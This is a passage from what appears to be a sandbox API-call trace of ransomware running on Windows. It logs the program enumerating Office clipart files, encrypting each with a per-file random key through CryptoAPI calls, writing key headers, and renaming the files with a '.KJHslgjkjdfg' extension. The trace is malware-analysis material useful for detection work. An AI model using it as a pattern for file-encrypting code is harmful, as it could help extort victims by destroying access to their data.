Office\\CLIPART\\PUB60COR\\BL00921_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.kjhslgjkjdfg")) returned 1 [0187.102] CloseHandle (hObject=0x130) returned 1 [0187.102] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0187.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.102] GetProcessHeap () returned 0x990000 [0187.102] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.102] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.103] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.103] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.103] GetProcessHeap () returned 0x990000 [0187.103] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.103] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.103] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.103] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.106] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.106] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.106] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.106] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1870, lpOverlapped=0x0) returned 1 [0187.107] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1870, dwBufLen=0x1870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1870) returned 1 [0187.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.107] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1870, lpOverlapped=0x0) returned 1 [0187.107] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.107] SetEndOfFile (hFile=0x130) returned 1 [0187.115] GetProcessHeap () returned 0x990000 [0187.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.116] GetProcessHeap () returned 0x990000 [0187.116] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.kjhslgjkjdfg")) returned 1 [0187.117] CloseHandle (hObject=0x130) returned 1 [0187.117] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0187.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.117] GetProcessHeap () returned 0x990000 [0187.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.118] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.121] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.121] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.121] GetProcessHeap () returned 0x990000 [0187.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.121] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.121] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.121] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.121] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.121] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.121] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.122] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.122] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.122] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.122] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4c14, lpOverlapped=0x0) returned 1 [0187.123] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c20) returned 1 [0187.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.123] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c20, lpOverlapped=0x0) returned 1 [0187.123] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.123] SetEndOfFile (hFile=0x130) returned 1 [0187.126] GetProcessHeap () returned 0x990000 [0187.126] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.126] GetProcessHeap () returned 0x990000 [0187.126] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.kjhslgjkjdfg")) returned 1 [0187.127] CloseHandle (hObject=0x130) returned 1 [0187.127] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0187.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.128] GetProcessHeap () returned 0x990000 [0187.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.128] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.128] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.131] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.131] GetProcessHeap () returned 0x990000 [0187.131] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.131] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.131] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.131] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.131] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.131] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.131] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.132] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.132] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xeb8, lpOverlapped=0x0) returned 1 [0187.132] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xec0, dwBufLen=0xec0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xec0) returned 1 [0187.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xec0, lpOverlapped=0x0) returned 1 [0187.132] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] SetEndOfFile (hFile=0x130) returned 1 [0187.135] GetProcessHeap () returned 0x990000 [0187.135] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.135] GetProcessHeap () returned 0x990000 [0187.135] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.kjhslgjkjdfg")) returned 1 [0187.136] CloseHandle (hObject=0x130) returned 1 [0187.136] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0187.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.137] GetProcessHeap () returned 0x990000 [0187.137] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.137] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.137] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.139] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.139] GetProcessHeap () returned 0x990000 [0187.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0187.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0187.139] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.139] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0187.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.139] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.139] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.140] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.140] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.140] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd16, lpOverlapped=0x0) returned 1 [0187.140] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd20, dwBufLen=0xd20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd20) returned 1 [0187.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.140] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd20, lpOverlapped=0x0) returned 1 [0187.140] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.140] SetEndOfFile (hFile=0x130) returned 1 [0187.142] GetProcessHeap () returned 0x990000 [0187.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0187.143] GetProcessHeap () returned 0x990000 [0187.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.kjhslgjkjdfg")) returned 1 [0187.143] CloseHandle (hObject=0x130) returned 1 [0187.143] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0187.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.144] GetProcessHeap () returned 0x990000 [0187.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.144] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.144] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.145] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, 